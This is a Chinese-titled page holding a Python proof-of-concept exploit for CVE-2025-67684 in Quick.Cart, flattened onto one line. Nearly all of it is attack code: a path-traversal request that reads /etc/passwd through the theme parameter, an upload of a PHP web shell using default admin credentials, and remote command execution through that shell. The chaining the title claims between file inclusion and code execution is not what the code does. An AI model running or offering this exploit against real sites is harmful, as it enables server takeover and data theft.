CVE-2025-67684 Quick.Cart 本地文件包含导致远程代码执行漏洞

import requests import sys # CVE-2025-67684 PoC - Quick.Cart LFI/RCE # Target: Quick.Cart with vulnerable theme selection mechanism TARGET_URL = "http://target.com/quick-cart" USERNAME = "admin" PASSWORD = "admin123" def exploit_lfi(): """ Step 1: Exploit Local File Inclusion via theme selection The theme parameter is vulnerable to path traversal """ lfi_payload = "../../../../../../etc/passwd" lfi_url = f"{TARGET_URL}/?p=theme&change={lfi_payload}" print(f"[*] Testing LFI via theme parameter...") response = requests.get(lfi_url) if "root:" in response.text or "/bin/bash" in response.text: print("[+] LFI confirmed - /etc/passwd leaked") return True return False def upload_shell(): """ Step 2: Upload malicious PHP shell File upload only validates extension (.php allowed) """ shell_content = "<?php system($_GET['cmd']); ?>" shell_filename = "shell.php" upload_url = f"{TARGET_URL}/admin.php?p=files&action=upload" files = {'file': (shell_filename, shell_content, 'application/x-httpd-php')} data = {'username': USERNAME, 'password': PASSWORD} print(f"[*] Uploading malicious PHP shell...") response = requests.post(upload_url, files=files, data=data) if "success" in response.text.lower(): print("[+] Shell uploaded successfully") return f"{TARGET_URL}/uploads/shell.php" return None def execute_rce(shell_url, cmd): """ Step 3: Execute arbitrary commands via uploaded shell """ rce_url = f"{shell_url}?cmd={cmd}" response = requests.get(rce_url) return response.text if __name__ == "__main__": print("[*] CVE-2025-67684 Quick.Cart LFI/RCE Exploit") # Test LFI if exploit_lfi(): print("[+] LFI vulnerability confirmed") # Upload and execute shell shell_url = upload_shell() if shell_url: print(f"[*] Shell location: {shell_url}") result = execute_rce(shell_url, "whoami") print(f"[+] Command output: {result}")